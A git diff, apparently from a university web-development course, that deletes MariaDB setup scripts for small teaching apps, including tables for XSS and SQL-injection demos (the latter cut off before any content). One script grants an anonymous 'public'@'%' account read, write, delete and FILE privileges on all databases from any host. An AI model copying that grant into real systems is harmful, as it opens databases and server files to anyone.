diff --git a/mariadb/mariadb.setup/17-Meister.sql b/mariadb/mariadb.setup/17-Meister.sql
deleted file mode 100644
index fb7f528bb382799982a52169cdbdb4b5284f4095..0000000000000000000000000000000000000000
--- a/mariadb/mariadb.setup/17-Meister.sql
+++ /dev/null
@@ -1,61 +0,0 @@
--- vorgegebene Datenbank MEISTER
--- modifiziert B.K.
-
--- phpMyAdmin SQL Dump
--- version 4.8.3
--- https://www.phpmyadmin.net/
---
--- Host: localhost
--- Generation Time: May 28, 2019 at 03:14 PM
--- Server version: 10.1.37-MariaDB
--- PHP Version: 7.2.12
-
-SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
-SET AUTOCOMMIT = 0;
-START TRANSACTION;
-SET time_zone = "+00:00";
-
-CREATE DATABASE IF NOT EXISTS `MEISTER`
-DEFAULT CHARACTER SET utf8
-COLLATE utf8_unicode_ci;
-USE MEISTER;
-
-CREATE TABLE IF NOT EXISTS `fragen` (
-   `id` int(11) NOT NULL,
-   `frage` varchar(50) NOT NULL,
-   `antwort1` varchar(50) NOT NULL,
-   `antwort2` varchar(50) NOT NULL,
-   `antwort3` varchar(50) NOT NULL,
-   `richtig` enum('1', '2', '3') NOT NULL
-) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
-
-CREATE TABLE IF NOT EXISTS `spiele` (
-   `id` int(11) NOT NULL,
-   `name` varchar(50) NOT NULL,
-   `antworten` int(11) NOT NULL
-) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
-
-INSERT INTO `spiele` (`id`, `name`, `antworten`) VALUES
-(1, 'Ralf', 3),
-(2, 'John Doe', 1),
-(3, 'Hurz', 23);
-
-INSERT INTO `fragen` (`id`, `frage`, `antwort1`, `antwort2`, `antwort3`, `richtig`) VALUES 
-(1, 'Wie viele Einwohner hat Darmstadt (Stand 2017)?', '155.000', '205.000', '75.000', '1'), 
-(2, 'Was bedeutet das html-Tag <td>?', 'test data', 'test dummy', 'table data', '3'), 
-(3, 'Wie viele Einwohner hat Mainz (Stand 2017)?', '155.000', '210.000', '295.000', '2'); 
-
--- Indizes für die Tabelle `fragen`
---
-ALTER TABLE `fragen`
-  ADD PRIMARY KEY (`id`);
-
-ALTER TABLE `fragen`
-  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=5;
-
-ALTER TABLE `spiele`
-  ADD PRIMARY KEY (`id`);
-
-ALTER TABLE `spiele`
-  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=7;
-COMMIT;
diff --git a/mariadb/mariadb.setup/18-PosterShop.sql b/mariadb/mariadb.setup/18-PosterShop.sql
deleted file mode 100644
index 28628d30c33b2b81389acc18de2e6b5e44ace61a..0000000000000000000000000000000000000000
--- a/mariadb/mariadb.setup/18-PosterShop.sql
+++ /dev/null
@@ -1,73 +0,0 @@
--- phpMyAdmin SQL Dump
--- version 4.1.12
--- http://www.phpmyadmin.net
---
--- Host: 127.0.0.1
--- Erstellungszeit: 02. Jul 2018 um 19:50
--- Server Version: 5.6.16
--- PHP-Version: 5.5.11
-
-SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
-SET AUTOCOMMIT = 0;
-START TRANSACTION;
-SET time_zone = "+00:00";
-
-
-/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
-/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
-/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
-/*!40101 SET NAMES utf8 */;
-
---
--- Datenbank: `postershop`
---
-SET SQL_MODE="NO_AUTO_VALUE_ON_ZERO";
-
-CREATE DATABASE IF NOT EXISTS `postershop`
-DEFAULT CHARACTER SET utf8
-COLLATE utf8_unicode_ci;
-
-USE postershop;
--- --------------------------------------------------------
-
---
--- Tabellenstruktur für Tabelle `bestellung`
---
-
-CREATE TABLE IF NOT EXISTS `bestellung` (
-  `id` int(11) NOT NULL,
-  `kunde` int(11) NOT NULL,
-  `datei` varchar(50) NOT NULL
-) ENGINE=InnoDB  DEFAULT CHARSET=utf8 AUTO_INCREMENT=4 ;
-
--- --------------------------------------------------------
-
---
--- Tabellenstruktur für Tabelle `poster`
---
-
-CREATE TABLE IF NOT EXISTS `poster` (
-  `datei` varchar(50) NOT NULL,
-  PRIMARY KEY (`datei`)
-) ENGINE=InnoDB DEFAULT CHARSET=utf8;
-
---
--- Daten für Tabelle `poster`
---
-
-INSERT INTO `poster` (`datei`) VALUES
-('Poster1.jpg'),
-('Poster2.jpg'),
-('Poster3.jpg');
-
-ALTER TABLE `bestellung`
-  ADD PRIMARY KEY (`ID`);
-
-ALTER TABLE `bestellung`
-  MODIFY `ID` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=4;
-
-COMMIT;
-
-/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
-/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
-/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
diff --git a/mariadb/mariadb.setup/19-FormularGenerator.sql b/mariadb/mariadb.setup/19-FormularGenerator.sql
deleted file mode 100644
index c5b641a0da89797e4dd4debec560cfa447ba0380..0000000000000000000000000000000000000000
--- a/mariadb/mariadb.setup/19-FormularGenerator.sql
+++ /dev/null
@@ -1,75 +0,0 @@
--- phpMyAdmin SQL Dump
--- version 4.8.3
--- https://www.phpmyadmin.net/
---
--- Host: localhost
--- Generation Time: May 28, 2019 at 03:14 PM
--- Server version: 10.1.37-MariaDB
--- PHP Version: 7.2.12
-
-SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
-SET AUTOCOMMIT = 0;
-START TRANSACTION;
-SET time_zone = "+00:00";
-
-
-/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
-/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
-/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
-/*!40101 SET NAMES utf8mb4 */;
-
---
--- Database: `formbuilder`
---
-CREATE DATABASE IF NOT EXISTS `formbuilder`
-DEFAULT CHARACTER SET utf8
-COLLATE utf8_unicode_ci;
-
-USE formbuilder;
--- --------------------------------------------------------
-
---
--- Table structure for table `Formelemente`
---
-
-CREATE TABLE IF NOT EXISTS `Formelemente` (
-  `ID` int(11) NOT NULL,
-  `Beschriftung` varchar(255) COLLATE utf8_unicode_ci NOT NULL,
-  `NameAttr` varchar(255) CHARACTER SET utf32 COLLATE utf32_unicode_ci NOT NULL,
-  `Typ` enum('text','button','radio') COLLATE utf8_unicode_ci NOT NULL
-) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
-
---
--- Dumping data for table `Formelemente`
---
-
-INSERT INTO `Formelemente` (`ID`, `Beschriftung`, `NameAttr`, `Typ`) VALUES
-(1, 'Name, Vorname', 'fullname', 'text'),
-(2, 'Straße', 'strasse', 'text'),
-(3, '<Bemerkung>', 'bemerkung', 'text');
-
---
--- Indexes for dumped tables
---
-
---
--- Indexes for table `Formelemente`
---
-ALTER TABLE `Formelemente`
-  ADD PRIMARY KEY (`ID`);
-ALTER TABLE `Formelemente` ADD FULLTEXT KEY `Beschriftung` (`Beschriftung`);
-
---
--- AUTO_INCREMENT for dumped tables
---
-
---
--- AUTO_INCREMENT for table `Formelemente`
---
-ALTER TABLE `Formelemente`
-  MODIFY `ID` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=4;
-COMMIT;
-
-/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
-/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
-/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
diff --git a/mariadb/mariadb.setup/20-Fastlink.sql b/mariadb/mariadb.setup/20-Fastlink.sql
deleted file mode 100644
index 6eab8f8e47396a2a8700aae505bccb0f58cb1f94..0000000000000000000000000000000000000000
--- a/mariadb/mariadb.setup/20-Fastlink.sql
+++ /dev/null
@@ -1,71 +0,0 @@
--- phpMyAdmin SQL Dump
--- version 5.0.1
--- https://www.phpmyadmin.net/
---
--- Host: mariadb:3306
--- Erstellungszeit: 02. Jul 2020 um 14:41
--- Server-Version: 10.4.12-MariaDB-1:10.4.12+maria~bionic
--- PHP-Version: 7.4.1
--- UTF8 Header äüöüßßßäü
-
-SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
-SET AUTOCOMMIT = 0;
-START TRANSACTION;
-SET time_zone = "+00:00";
-SET NAMES utf8mb4;
-
-
-/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
-/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
-/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
-/*!40101 SET NAMES utf8mb4 */;
-
---
---
---
-CREATE DATABASE IF NOT EXISTS `2021_FastLink`
-DEFAULT CHARACTER SET utf8
-COLLATE utf8_unicode_ci;
-
-USE `2021_FastLink`;
-
--- Tabellenstruktur für Tabelle `news`
---
-
-
-CREATE TABLE IF NOT EXISTS `hash2URL` (
-  `id` int(11) NOT NULL,
-  `timestamp` timestamp NOT NULL DEFAULT current_timestamp(),
-  `url` varchar(1024) NOT NULL,
-  `hash` varchar(255) NOT NULL
-) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
-
---
--- Daten für Tabelle `hash2URL`
---
-
-INSERT INTO `hash2URL` (`id`, `url`, `hash`) VALUES
-(1, 'https://www.google.de/', '95bd18d9');
-
---
--- Indizes der exportierten Tabellen
---
-
---
-ALTER TABLE `hash2URL`
-  ADD PRIMARY KEY (`id`);
-
---
--- AUTO_INCREMENT für exportierte Tabellen
---
-
---
--- AUTO_INCREMENT für Tabelle `hash2URL`
---
-ALTER TABLE `hash2URL`
-  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=5;
-COMMIT;
-
-/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
-/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
-/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
diff --git a/mariadb/mariadb.setup/20-Newsfeed.sql b/mariadb/mariadb.setup/20-Newsfeed.sql
deleted file mode 100644
index 28c0cc695ab71176272eef22ba35b45411b41dce..0000000000000000000000000000000000000000
--- a/mariadb/mariadb.setup/20-Newsfeed.sql
+++ /dev/null
@@ -1,77 +0,0 @@
--- phpMyAdmin SQL Dump
--- version 5.0.1
--- https://www.phpmyadmin.net/
---
--- Host: mariadb:3306
--- Erstellungszeit: 02. Jul 2020 um 14:41
--- Server-Version: 10.4.12-MariaDB-1:10.4.12+maria~bionic
--- PHP-Version: 7.4.1
--- UTF8 Header äüöüßßßäü
-
-SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
-SET AUTOCOMMIT = 0;
-START TRANSACTION;
-SET time_zone = "+00:00";
-SET NAMES utf8mb4;
-
-
-/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
-/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
-/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
-/*!40101 SET NAMES utf8mb4 */;
-
---
--- Datenbank: `newsfeed`
---
---
-CREATE DATABASE IF NOT EXISTS `2020_News`
-DEFAULT CHARACTER SET utf8
-COLLATE utf8_unicode_ci;
-
-USE `2020_News`;
-
--- Tabellenstruktur für Tabelle `news`
---
-
-
-CREATE TABLE IF NOT EXISTS `news` (
-  `id` int(11) NOT NULL,
-  `timestamp` timestamp NOT NULL DEFAULT current_timestamp(),
-  `title` varchar(255) NOT NULL,
-  `text` varchar(1024) NOT NULL
-) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
-
---
--- Daten für Tabelle `news`
---
-
-INSERT INTO `news` (`id`, `timestamp`, `title`, `text`) VALUES
-(1, '2020-07-03 09:05:38', 'Ist das <script>-Tag böse?', 'Am 13.07.2020 berichtet Prof. Dr. E. Wa über die Vor- und Nachteile der JavaScript-Tags in HTML'),
-(2, '2020-07-05 09:09:05', 'Hochschulpakt unterzeichnet: h_da erwartet positiven Effekt auf Forschung und Lehre', 'Der hessische Hochschulpakt für die Jahre 2021 bis 2025 ist unterschrieben. Darin haben die Landesregierung und die Hochschulen die Rahmenbedingungen für die Hochschulentwicklung in den kommenden fünf Jahren vereinbart. Erstmals erhalten die Hochschulen für Angewandte Wissenschaften (HAWs) und somit auch die Hochschule Darmstadt (h_da) reguläre Haushaltsmittel für den Aufbau eines akademischen Mittelbaus. '),
-(3, '2020-07-07 09:10:13', 'Campus Haardtring: Studierende und Beschäftigte setzen sich für mehr Verkehrssicherheit ein', 'Viele Studierende und Beschäftigte am Campus Haardtring erreichen die dortigen Gebäude über die Haltestelle „Hochschule West“. Doch Richtung Süden müssen sie den vierspurigen Haardtring überqueren, um zur Haltestelle zu laufen. Allerdings gibt es hier keine Fußgängerüberquerung. Um auf diese Gefahrenquelle aufmerksam zu machen und eine Lösung einzufordern, haben Mitglieder des Fachbereichs Bauingenieurwesen in Kooperation mit der h_da-Mobilitätskommission 1.000 Unterschriften gesammelt. Diese wurden nun dem städtischen Mobilitätsamt übergeben. Das möchte jetzt schnell reagieren.'),
-(4, '2020-07-13 09:12:19', 'Solidarität statt Rendite? – Mit ihrem 1. Dialog-Forum trifft die h_da einen Nerv', 'Mit ihrem 1. Dialog-Forum trifft die h_da einen Nerv: Rund 300 Bürgerinnen und Bürger verfolgen die Podiumsdiskussion über das Verhältnis von Gemeinwohl-Ökonomie und Wirtschaftswachstum');
-
---
--- Indizes der exportierten Tabellen
---
-
---
--- Indizes für die Tabelle `news`
---
-ALTER TABLE `news`
-  ADD PRIMARY KEY (`id`);
-
---
--- AUTO_INCREMENT für exportierte Tabellen
---
-
---
--- AUTO_INCREMENT für Tabelle `news`
---
-ALTER TABLE `news`
-  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=5;
-COMMIT;
-
-/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
-/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
-/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
diff --git a/mariadb/mariadb.setup/21-TeamSport.sql b/mariadb/mariadb.setup/21-TeamSport.sql
deleted file mode 100644
index eb8ce769974ee730641ab903282257ddd7f619ca..0000000000000000000000000000000000000000
--- a/mariadb/mariadb.setup/21-TeamSport.sql
+++ /dev/null
@@ -1,90 +0,0 @@
--- phpMyAdmin SQL Dump
--- version 5.1.0
--- https://www.phpmyadmin.net/
---
--- Host: mariadb:3306
--- Erstellungszeit: 15. Jul 2021 um 10:15
--- Server-Version: 10.5.9-MariaDB-1:10.5.9+maria~focal
--- PHP-Version: 7.4.16
-
-SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
-START TRANSACTION;
-SET time_zone = "+00:00";
-
-
-/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
-/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
-/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
-/*!40101 SET NAMES utf8mb4 */;
-
---
--- Datenbank: `2021_TeamSport`
---
-CREATE DATABASE IF NOT EXISTS `2021_TeamSport` DEFAULT CHARACTER SET utf8 COLLATE utf8_unicode_ci;
-USE `2021_TeamSport`;
-
--- --------------------------------------------------------
-
---
--- Tabellenstruktur für Tabelle `gameDetails`
---
-
-DROP TABLE IF EXISTS `gameDetails`;
-CREATE TABLE IF NOT EXISTS `gameDetails` (
-  `id` int(11) NOT NULL AUTO_INCREMENT,
-  `gameId` int(11) NOT NULL,
-  `name` varchar(30) COLLATE utf8_unicode_ci NOT NULL,
-  PRIMARY KEY (`id`),
-  KEY `gameDetails_ibfk_1` (`gameId`)
-) ENGINE=InnoDB AUTO_INCREMENT=3 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
-
---
--- Daten für Tabelle `gameDetails`
---
-
-INSERT INTO `gameDetails` (`id`, `gameId`, `name`) VALUES
-(1, 1, 'Hanna'),
-(2, 1, 'Eva');
-
--- --------------------------------------------------------
-
---
--- Tabellenstruktur für Tabelle `games`
---
-
-DROP TABLE IF EXISTS `games`;
-CREATE TABLE IF NOT EXISTS `games` (
-  `id` int(11) NOT NULL AUTO_INCREMENT,
-  `datetime` datetime NOT NULL,
-  `opposingTeam` varchar(50) NOT NULL,
-  `status` int(11) NOT NULL,
-  PRIMARY KEY (`id`)
-) ENGINE=InnoDB AUTO_INCREMENT=4 DEFAULT CHARSET=utf8mb4;
-
---
--- Daten für Tabelle `games`
---
-
-INSERT INTO `games` (`id`, `datetime`, `opposingTeam`, `status`) VALUES
-(1, '2021-08-18 12:00:00', 'TG 75 Darmstadt', 1),
-(2, '2021-08-25 10:00:00', 'TSG Darmstadt', 0),
-(3, '2021-06-15 13:00:00', 'Darmstadt 98', 3);
-
---
--- Constraints der exportierten Tabellen
---
-
---
--- Constraints der Tabelle `gameDetails`
---
-ALTER TABLE `gameDetails`
-  ADD CONSTRAINT `gameDetails_ibfk_1` FOREIGN KEY (`gameId`) REFERENCES `games` (`id`) ON DELETE CASCADE ON UPDATE CASCADE;
-COMMIT;
-
-/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
-/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
-/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
-
--- REVOKE ALL PRIVILEGES ON *.* FROM 'public'@'%'; 
--- REVOKE GRANT OPTION ON *.* FROM 'public'@'%'; 
-GRANT SELECT, INSERT, UPDATE, DELETE, FILE ON *.* TO 'public'@'%' REQUIRE NONE WITH MAX_QUERIES_PER_HOUR 0 MAX_CONNECTIONS_PER_HOUR 0 MAX_UPDATES_PER_HOUR 0 MAX_USER_CONNECTIONS 0; 
diff --git a/mariadb/mariadb.setup/22-Easy2Read.sql b/mariadb/mariadb.setup/22-Easy2Read.sql
deleted file mode 100644
index 33c1091fda56315c6870453f60cab2226f9aa612..0000000000000000000000000000000000000000
--- a/mariadb/mariadb.setup/22-Easy2Read.sql
+++ /dev/null
@@ -1,62 +0,0 @@
--- phpMyAdmin SQL Dump
--- version 5.1.1
--- https://www.phpmyadmin.net/
---
--- Host: mariadb:3306
--- Erstellungszeit: 16. Mai 2022 um 14:18
--- Server-Version: 10.5.10-MariaDB-1:10.5.10+maria~focal
--- PHP-Version: 7.4.20
-
-SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
-START TRANSACTION;
-SET time_zone = "+00:00";
-
-
-/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
-/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
-/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
-/*!40101 SET NAMES utf8mb4 */;
-
---
--- Datenbank: `2022_Easy2Read`
---
-CREATE DATABASE IF NOT EXISTS `2022_Easy2Read` DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci;
-USE `2022_Easy2Read`;
-
--- --------------------------------------------------------
-
---
--- Tabellenstruktur für Tabelle `Dictionary`
---
-
-DROP TABLE IF EXISTS `Dictionary`;
-CREATE TABLE IF NOT EXISTS `Dictionary` (
-  `id` int(11) NOT NULL,
-  `word` varchar(100) NOT NULL,
-  `explanation` varchar(1024) NOT NULL
-) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
-
---
--- Daten für Tabelle `Dictionary`
---
-
-INSERT INTO `Dictionary` (`id`, `word`, `explanation`) VALUES
-(1, 'Behörde', 'Eine Behörde ist eine Art Organisation. Man sagt oft Amt dazu. Zum Beispiel das Sozial amt.Zum Beispiel das Bürger·amt. Die Aufgaben der Behörde sind für die Bürger. Oder die Aufgaben sind für den Staat, das Land, für die Stadt oder für Gemeinden.'),
-(2, 'Origami', 'Origami ist Papier falten. Aus Papier werden Formen gefaltet. Zum Beispiel ein Tier.'),
-(3, 'html', 'HTML ist eine Auszeichnungssprache. Darin werden Texte und deren Bedeutung mit HTML-Tags markiert z.B. <article> oder <header>');
-
--- --------------------------------------------------------
-
---
--- Indizes der exportierten Tabellen
---
-
---
--- Indizes für die Tabelle `Dictionary`
---
-ALTER TABLE `Dictionary`
-  ADD PRIMARY KEY (`id`);
-
-/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
-/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
-/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
diff --git a/mariadb/mariadb.setup/22-HDA_Chatbot_Datenbank.sql b/mariadb/mariadb.setup/22-HDA_Chatbot_Datenbank.sql
deleted file mode 100644
index 863558e7f6b3485f5403d1ed95603ba012385faa..0000000000000000000000000000000000000000
--- a/mariadb/mariadb.setup/22-HDA_Chatbot_Datenbank.sql
+++ /dev/null
@@ -1,72 +0,0 @@
--- phpMyAdmin SQL Dump
--- version 5.1.3
--- https://www.phpmyadmin.net/
---
--- Host: mariadb:3306
--- Erstellungszeit: 31. Jan 2023 um 10:19
--- Server-Version: 10.7.3-MariaDB-1:10.7.3+maria~focal
--- PHP-Version: 8.0.15
-
-SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
-START TRANSACTION;
-SET time_zone = "+00:00";
-
-
-/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
-/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
-/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
-/*!40101 SET NAMES utf8mb4 */;
-
---
--- Datenbank: `HDA_Chatbot`
---
-CREATE DATABASE IF NOT EXISTS `HDA_Chatbot` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;
-USE `HDA_Chatbot`;
-
--- --------------------------------------------------------
-
---
--- Tabellenstruktur für Tabelle `interaction`
---
-
-CREATE TABLE `interaction` (
-  `id` int(11) NOT NULL,
-  `question` text NOT NULL,
-  `answer` text NOT NULL
-) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;
-
---
--- Daten für Tabelle `interaction`
---
-
-INSERT INTO `interaction` (`id`, `question`, `answer`) VALUES
-(1, 'Wer bist du?', 'Ich bin HDA_Chatbot!'),
-(2, 'Wie alt bist du?', 'Ich bin noch gar nicht geboren!'),
-(3, 'Was ist dein Lieblingsessen?', 'Alles was der Infotreff anzubieten hat!'),
-(4, 'Was ist dein Lieblingsfach?', 'EWA!'),
-(5, 'Was ist deine Meinung zu Informatik?', 'Informatik ist super!');
-
---
--- Indizes der exportierten Tabellen
---
-
---
--- Indizes für die Tabelle `interaction`
---
-ALTER TABLE `interaction`
-  ADD PRIMARY KEY (`id`);
-
---
--- AUTO_INCREMENT für exportierte Tabellen
---
-
---
--- AUTO_INCREMENT für Tabelle `interaction`
---
-ALTER TABLE `interaction`
-  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=6;
-COMMIT;
-
-/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
-/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
-/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
diff --git a/mariadb/mariadb.setup/23-NewsletterOPI.sql b/mariadb/mariadb.setup/23-NewsletterOPI.sql
deleted file mode 100644
index 0daf4f9ee43f69aa3817ecacf0af075a81f7f3c6..0000000000000000000000000000000000000000
--- a/mariadb/mariadb.setup/23-NewsletterOPI.sql
+++ /dev/null
@@ -1,69 +0,0 @@
--- phpMyAdmin SQL Dump
--- version 5.2.1
--- https://www.phpmyadmin.net/
---
--- Host: mariadb:3306
--- Erstellungszeit: 27. Jun 2023 um 19:28
--- Server-Version: 10.11.3-MariaDB-1:10.11.3+maria~ubu2204
--- PHP-Version: 8.1.17
-
-SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
-START TRANSACTION;
-SET time_zone = "+00:00";
-
-
-/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
-/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
-/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
-/*!40101 SET NAMES utf8mb4 */;
-
---
--- Datenbank: `2023_NewsletterOPI`
---
-CREATE DATABASE IF NOT EXISTS `2023_NewsletterOPI` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;
-USE `2023_NewsletterOPI`;
-
--- --------------------------------------------------------
-
---
--- Tabellenstruktur für Tabelle `anmeldung`
---
-
-DROP TABLE IF EXISTS `anmeldung`;
-CREATE TABLE IF NOT EXISTS `anmeldung` (
-  `anmeldungs_id` int(11) NOT NULL,
-  `kunden_name` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL,
-  `kunden_email` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL
-) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci;
-
---
--- Daten für Tabelle `anmeldung`
---
-
-INSERT INTO `anmeldung` (`anmeldungs_id`, `kunden_name`, `kunden_email`) VALUES
-(1, 'Eva Musterfrau', 'ewa@fbi.h-da.de');
-
---
--- Indizes der exportierten Tabellen
---
-
---
--- Indizes für die Tabelle `anmeldung`
---
-ALTER TABLE `anmeldung`
-  ADD PRIMARY KEY (`anmeldungs_id`);
-
---
--- AUTO_INCREMENT für exportierte Tabellen
---
-
---
--- AUTO_INCREMENT für Tabelle `anmeldung`
---
-ALTER TABLE `anmeldung`
-  MODIFY `anmeldungs_id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=2;
-COMMIT;
-
-/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
-/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
-/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
diff --git a/mariadb/mariadb.setup/30-XSS_Demo.sql b/mariadb/mariadb.setup/30-XSS_Demo.sql
deleted file mode 100644
index a3003ebe02db88ccb2d9782ec87cda15a20251aa..0000000000000000000000000000000000000000
--- a/mariadb/mariadb.setup/30-XSS_Demo.sql
+++ /dev/null
@@ -1,47 +0,0 @@
--- phpMyAdmin SQL Dump
--- version 5.0.1
--- https://www.phpmyadmin.net/
---
--- Host: 127.0.0.1
--- Erstellungszeit: 13. Dec 2020 um 14:05
--- Server-Version: 10.4.11-MariaDB
-
--- PHP-Version: 7.4.2
-
--- /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
--- /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
--- /*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
--- /*!40101 SET NAMES utf8mb4 */;
-
--- 
--- Datenbank: `XSS_Demo`
--- UTF8 Header äüöüßßßäü
-
-
-CREATE DATABASE IF NOT EXISTS `XSS_Demo`
-CHARACTER SET utf8
-COLLATE utf8_unicode_ci;
-
-USE `XSS_Demo`;
-
-
-SET NAMES utf8mb4;
-
--- ----------------------------------------------------------------
-
-SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
-SET AUTOCOMMIT = 0;
-START TRANSACTION;
-SET time_zone = "+00:00";
--- --------------------------------------------------------
-
---
--- Tabellenstruktur für Tabelle `article`
---
-
-CREATE TABLE `attack` (
-  `NameUnmodified` varchar(255) COLLATE utf8_unicode_ci NOT NULL,
-  `NameHTMLSpecialChar` varchar(255) COLLATE utf8_unicode_ci NOT NULL,
-  `AddressUnmodified` varchar(255) COLLATE utf8_unicode_ci NOT NULL
-) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
-
diff --git a/mariadb/mariadb.setup/40-SQL_Injection_Demo.sql b/mariadb/mariadb.setup/40-SQL_Injection_Demo.sql
deleted file mode 100644
index 181f2c518de0e3bc0faca744ada6d6a456e05dda..0000000000000000000000000000000000000000
--- a/mariadb/mariadb.setup/40-SQL_Injection_Demo.sql
+++ /dev/null
@@ -1,66 +0,0 @@
--- phpMyAdmin SQL Dump
--- version 5.0.1
--- https://www.phpmyadmin.net/
---
--- Host: 127.0.0.1
--- Erstellungszeit: 13. Dec 2020 um 14:05
--- Server-Version: 10.4.11-MariaDB
-
--- PHP-Version: 7.4.2
-
--- /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
